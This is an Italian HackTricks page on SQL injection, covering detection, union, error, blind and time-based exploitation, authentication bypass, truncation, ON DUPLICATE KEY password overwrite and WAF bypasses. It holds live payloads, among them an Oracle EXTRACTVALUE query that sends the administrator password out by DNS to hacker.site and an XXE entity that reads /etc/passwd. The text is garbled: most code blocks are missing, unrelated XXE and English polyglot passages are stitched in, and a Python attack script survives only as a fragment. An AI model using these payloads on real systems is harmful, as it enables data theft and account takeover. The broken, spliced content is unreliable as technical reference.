<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
L'**SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero accedere, inclusi le informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un rifiuto del servizio.
Quando un sito sembra essere **vulnerabile all'SQL injection (SQLi)** a causa di risposte anomale del server a input correlati all'SQLi, il **primo passo** è capire come **iniettare dati nella query senza interromperla**. Ciò richiede l'identificazione del metodo per **uscire dal contesto corrente** in modo efficace.
Quindi, è necessario sapere come **correggere la query in modo che non ci siano errori**. Per correggere la query è possibile **inserire** dati in modo che la **query precedente accetti i nuovi dati**, oppure è possibile semplicemente **inserire** i propri dati e **aggiungere un simbolo di commento alla fine**.
Un metodo affidabile per confermare una vulnerabilità di SQL injection consiste nell'eseguire un'**operazione logica** e osservare i risultati attesi. Ad esempio, se un parametro GET come `?username=Peter` produce lo stesso contenuto quando viene modificato in `?username=Peter' or '1'='1`, ciò indica una vulnerabilità di SQL injection.
Allo stesso modo, l'applicazione di **operazioni matematiche** serve come tecnica di conferma efficace. Ad esempio, se l'accesso a `?id=1` e `?id=2-1` produce lo stesso risultato, ciò indica una SQL injection.
In alcuni casi **non noterai alcun cambiamento** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far sì che il database esegua azioni che avranno un **impatto sul tempo** necessario per caricare la pagina.\
Pertanto, concateniamo nella query SQL un'operazione che richiederà molto tempo per essere completata:
In alcuni casi, le **funzioni di sleep potrebbero non essere consentite**. Invece di utilizzare tali funzioni, è possibile eseguire **operazioni complesse** nella query che richiederanno diversi secondi. _Gli esempi di queste tecniche verranno commentati separatamente per ogni tecnologia (se presenti)_.
Il modo migliore per identificare il back-end è provare ad eseguire le funzioni dei diversi back-end. È possibile utilizzare le _**funzioni di sleep**_ della sezione precedente o queste (tabella da [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Se puoi vedere l'output della query, questo è il modo migliore per sfruttarlo.\
Prima di tutto, dobbiamo scoprire il **numero** di **colonne** restituite dalla **richiesta iniziale**. Questo perché **entrambe le query devono restituire lo stesso numero di colonne**.\
Di solito vengono utilizzati due metodi per questo scopo:
Per determinare il numero di colonne in una query, incrementa gradualmente il numero utilizzato nelle clausole **ORDER BY** o **GROUP BY** fino a quando non si riceve una risposta falsa. Nonostante le diverse funzionalità di **GROUP BY** e **ORDER BY** all'interno di SQL, entrambi possono essere utilizzati allo stesso modo per determinare il conteggio delle colonne della query.
_Dovresti utilizzare valori `null` in alcuni casi in cui il tipo delle colonne di entrambi i lati della query deve essere lo stesso e `null` è valido in ogni caso._
Quando l'output di una query è visibile, ma sembra impossibile ottenere un'iniezione basata sull'union, significa che c'è una **iniezione basata sull'union nascosta**. Questo scenario spesso porta a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata sull'union, è necessario comprendere la query di esecuzione sul backend.
Ciò può essere realizzato utilizzando tecniche di iniezione cieca insieme alle tabelle predefinite specifiche del tuo Database Management System (DBMS) di destinazione. Per comprendere queste tabelle predefinite, si consiglia di consultare la documentazione del DBMS di destinazione.
Una volta estratta la query, è necessario adattare il payload per chiudere in modo sicuro la query originale. Successivamente, viene aggiunta una query di unione al payload, facilitando lo sfruttamento della nuova iniezione basata sull'union accessibile.
Se per qualche motivo **non puoi** vedere l'**output** della **query** ma puoi **vedere i messaggi di errore**, puoi utilizzare questi messaggi di errore per **esfiltrare** i dati dal database.\
Seguendo un flusso simile all'exploit basato sull'Union, potresti riuscire a scaricare il database.
In questo caso non è possibile visualizzare i risultati della query o gli errori, ma è possibile distinguere quando la query restituisce una risposta vera o falsa perché ci sono contenuti diversi sulla pagina.\
In questo caso, è possibile sfruttare questo comportamento per estrarre il contenuto del database carattere per carattere:
Questo è lo **stesso caso di prima**, ma invece di distinguere tra una risposta vera/falsa dalla query, è possibile distinguere tra un **errore** nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso è possibile forzare un errore SQL ogni volta che si indovina correttamente il carattere:
In questo caso **non c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Tuttavia, è possibile far sì che la pagina impieghi più tempo per caricarsi se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per [confermare una vulnerabilità SQLi](./#conferma-con-timing).
Puoi utilizzare le query concatenate per **eseguire più query in successione**. Tieni presente che mentre le query successive vengono eseguite, i **risultati** non vengono **restituiti all'applicazione**. Pertanto, questa tecnica è principalmente utile in relazione a **vulnerabilità cieche** in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.
Se **nessun altro** metodo di sfruttamento **ha funzionato**, puoi provare a far **esfiltrare** le informazioni dal database a un **host esterno** controllato da te. Ad esempio, tramite query DNS:
### Esfiltrazione dei dati fuori banda tramite XXE
L'attacco di esfiltrazione dei dati fuori banda tramite XXE (XML External Entity) sfrutta una vulnerabilità nelle applicazioni web che consentono l'elaborazione di input XML non attendibili. Questo attacco consente a un attaccante di recuperare dati sensibili dal server di destinazione e inviarli a un server controllato dall'attaccante.
#### Come funziona l'attacco
1. L'attaccante invia una richiesta contenente un payload XXE all'applicazione web vulnerabile.
2. L'applicazione web elabora il payload XXE e tenta di analizzare l'input XML.
3. Il payload XXE contiene un'entità esterna che fa riferimento a un file remoto contenente i dati sensibili.
4. L'applicazione web tenta di recuperare il file remoto e incorporarlo nell'output XML.
5. L'attaccante monitora il traffico di rete per rilevare la richiesta del file remoto e recuperare i dati sensibili.
#### Esempio di payload XXE
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
Nell'esempio sopra, il payload XXE fa riferimento al file `/etc/passwd` e incorpora il suo contenuto nell'output XML.
Per proteggere le applicazioni web da attacchi di esfiltrazione dei dati fuori banda tramite XXE, è possibile adottare le seguenti contromisure:
- Validare e filtrare attentamente l'input XML per evitare l'elaborazione di payload XXE non attendibili.
- Disabilitare le funzionalità non necessarie che potrebbero consentire l'elaborazione di payload XXE.
- Utilizzare librerie XML sicure che implementano controlli di sicurezza per prevenire attacchi XXE.
- Mantenere le applicazioni web aggiornate con le ultime patch di sicurezza per mitigare le vulnerabilità note.
#### Conclusioni
L'attacco di esfiltrazione dei dati fuori banda tramite XXE è un'importante minaccia per le applicazioni web che elaborano input XML non attendibili. È fondamentale adottare le contromisure appropriate per proteggere le applicazioni web da questo tipo di attacco e garantire la sicurezza dei dati sensibili.
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injection. Trova alcuni trucchi specifici della tecnologia del database in questo libro:
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
Questa query mostra una vulnerabilità quando MD5 viene utilizzato con true per l'output grezzo nei controlli di autenticazione, rendendo il sistema suscettibile all'iniezione di SQL. Gli attaccanti possono sfruttare ciò creando input che, una volta hashati, producono parti inaspettate di comandi SQL, portando a un accesso non autorizzato.
In alcuni casi, è possibile sfruttare una vulnerabilità di iniezione SQL per bypassare l'autenticazione basata su hash. Questo tipo di attacco sfrutta la debolezza nella gestione delle query SQL per ottenere l'accesso non autorizzato a un sistema.
L'autenticazione basata su hash è un metodo comune per proteggere le password degli utenti. Invece di memorizzare le password in chiaro, vengono create hash delle password e memorizzate nel database. Quando un utente tenta di accedere, la password inserita viene hashata e confrontata con quella memorizzata nel database. Se i due hash corrispondono, l'utente viene autenticato.
Tuttavia, se è presente una vulnerabilità di iniezione SQL, un attaccante potrebbe essere in grado di manipolare la query SQL per bypassare l'autenticazione basata su hash. Questo può essere fatto iniettando una stringa di query SQL che annulla la condizione di confronto degli hash delle password.
#### Esempio
Supponiamo che il sistema utilizzi la seguente query SQL per autenticare gli utenti:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '<password_hash>'
```
Poiché la condizione `'1'='1'` è sempre vera, l'attaccante otterrebbe l'accesso non autorizzato al sistema, bypassando l'autenticazione basata su hash.
#### Contromisure
Per prevenire l'iniezione SQL e il bypass dell'autenticazione basata su hash, è importante utilizzare le best practice di sicurezza, come:
payload = input("Enter the SQL injection payload: ")
result = sql_injection(url, payload)
print(result)
```
Questo è uno script Python che esegue un attacco di SQL injection. L'utente deve inserire l'URL del sito web bersaglio e il payload di SQL injection. Lo script invia una richiesta GET all'URL concatenando il payload e restituisce il testo della risposta.
Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks. It involves crafting a malicious payload that can be interpreted as valid code in multiple database management systems (DBMS) or programming languages.
The goal of polyglot injection is to exploit vulnerabilities in different DBMS or programming languages simultaneously, increasing the chances of a successful attack. By creating a payload that is compatible with multiple contexts, an attacker can target a wider range of systems with a single injection.
To create a polyglot injection, the payload must be carefully crafted to conform to the syntax and rules of each targeted context. This requires a deep understanding of the specific DBMS or programming language being targeted.
Polyglot injections can be particularly effective in scenarios where an application uses multiple DBMS or programming languages. By exploiting a vulnerability in one context, an attacker can potentially gain access to sensitive data or execute arbitrary code in other contexts as well.
It is important for developers and security professionals to be aware of the risks associated with polyglot injections and to implement proper security measures to mitigate these risks. This includes input validation, parameterized queries, and regular security assessments to identify and patch vulnerabilities.
By understanding and being able to detect polyglot injections, security professionals can better protect applications and systems from SQL injection attacks.
Per farlo, dovresti cercare di **creare un nuovo oggetto con lo stesso nome dell'oggetto "principale"** (probabilmente **admin** nel caso degli utenti) modificando qualcosa:
* Crea un utente chiamato: **AdMIn** (lettere maiuscole e minuscole)
* Crea un utente chiamato: **admin=**
* **Attacco di troncamento SQL** (quando c'è un **limite di lunghezza** nel nome utente o nell'email) --> Crea un utente con il nome: **admin \[molti spazi] a**
Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e una qualsiasi password.
Il database **verificherà** se il **nome utente** introdotto **esiste** nel database. Se **non esiste**, verrà **troncato** il **nome utente** al **numero massimo di caratteri consentiti** (in questo caso a: "_admin \[25 spazi]_") e verranno **automaticamente rimossi tutti gli spazi alla fine**, aggiornando nel database l'utente "**admin**" con la **nuova password** (potrebbero comparire degli errori, ma ciò non significa che non abbia funzionato).
_Nota: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Sebbene le comparazioni ignorino ancora gli spazi alla fine per impostazione predefinita, tentare di inserire una stringa più lunga della lunghezza di un campo causerà un errore e l'inserimento non avrà successo. Per ulteriori informazioni su questa verifica: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
La clausola `ON DUPLICATE KEY UPDATE` in MySQL viene utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che comporterebbe un valore duplicato in un indice UNIQUE o PRIMARY KEY. L'esempio seguente mostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:
Un payload di iniezione potrebbe essere creato nel seguente modo, in cui si tenta di inserire due righe nella tabella `users`. La prima riga è un diversivo, mentre la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:
- La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
- Se la riga per `admin_generic@example.com` esiste già, viene attivata la clausola `ON DUPLICATE KEY UPDATE`, che istruisce MySQL ad aggiornare il campo `password` della riga esistente con "bcrypt_hash_of_newpassword".
- Di conseguenza, l'autenticazione può essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
[**RootedCON**](https://www.rootedcon.com/) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
L'iniezione SQL instradata è una situazione in cui la query iniettabile non è quella che restituisce l'output, ma l'output della query iniettabile viene utilizzato nella query che restituisce l'output. ([Da Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
In alcuni casi, gli sviluppatori possono implementare filtri per rilevare e bloccare le iniezioni SQL basate su spazi bianchi. Tuttavia, è possibile aggirare questi filtri utilizzando i commenti.
## Sintassi
La sintassi per utilizzare i commenti per aggirare i filtri di spazi bianchi varia a seconda del database utilizzato. Di seguito sono riportati alcuni esempi per i database più comuni:
L'idea di base è quella di utilizzare un commento per "nascondere" il codice SQL che segue. I filtri di spazi bianchi non rileveranno il codice all'interno del commento, consentendo così di eseguire l'iniezione SQL.
## Esempio
Supponiamo di avere una query SQL che cerca un nome utente e una password all'interno di una tabella:
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
```
Per aggirare un filtro di spazi bianchi, possiamo utilizzare un commento per nascondere il resto della query:
```sql
SELECT * FROM users WHERE username = 'admin'/*' AND password = 'password'*/;
```
In questo modo, il filtro di spazi bianchi non rileverà la parte commentata della query e l'iniezione SQL avrà successo.
## Conclusioni
L'utilizzo dei commenti per aggirare i filtri di spazi bianchi può essere un'utile tecnica di bypass durante un'attività di penetration testing. Tuttavia, è importante notare che questa tecnica potrebbe non funzionare in tutti i casi, poiché dipende dalla configurazione specifica del filtro implementato.
In alcuni casi, potresti incontrare filtri che cercano di bloccare le iniezioni SQL rimuovendo gli spazi bianchi. Tuttavia, è possibile aggirare questa protezione utilizzando le parentesi.
La tecnica consiste nell'inserire le parentesi per separare le parole chiave degli operatori logici e degli identificatori. In questo modo, è possibile evitare l'uso di spazi bianchi.
In questo modo, abbiamo separato le parole chiave `SELECT`, `FROM`, `WHERE`, gli operatori logici `AND` e l'identificatore `users` utilizzando le parentesi, evitando così l'uso di spazi bianchi.
Utilizzando le parentesi per separare le parole chiave, gli operatori logici e gli identificatori, è possibile aggirare i filtri che rimuovono gli spazi bianchi. Tuttavia, è importante notare che questa tecnica potrebbe non funzionare in tutti i casi, poiché dipende dalla configurazione specifica del filtro.
```sql
?id=(1)and(1)=(1)--
```
### Bypass senza virgole
Bypass senza virgole - utilizzando OFFSET, FROM e JOIN
In alcuni casi, un'applicazione web può utilizzare una lista nera (blacklist) per filtrare le parole chiave inserite dagli utenti al fine di prevenire attacchi di SQL injection. Tuttavia, se questa lista nera è case insensitive (non fa distinzione tra maiuscole e minuscole), è possibile aggirarla utilizzando un operatore equivalente.
Ad esempio, se la parola chiave "SELECT" è nella lista nera, è possibile bypassare il filtro utilizzando l'operatore equivalente "sElEcT". In questo modo, l'applicazione non riconoscerà la parola chiave vietata e l'iniezione SQL potrà essere eseguita con successo.
È importante notare che questo metodo funziona solo se l'applicazione non fa distinzione tra maiuscole e minuscole nella lista nera delle parole chiave.
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Puoi trovare una spiegazione più approfondita di questo trucco nel [blog di gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Fondamentalmente puoi utilizzare la notazione scientifica in modi imprevisti per bypassare il WAF:
Prima di tutto, nota che se la **query originale e la tabella da cui desideri estrarre la bandiera hanno lo stesso numero di colonne**, potresti semplicemente fare: `0 UNION SELECT * FROM flag`
È possibile **accedere alla terza colonna di una tabella senza utilizzare il suo nome** utilizzando una query come la seguente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, quindi in un'iniezione SQL sarebbe simile a:
Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
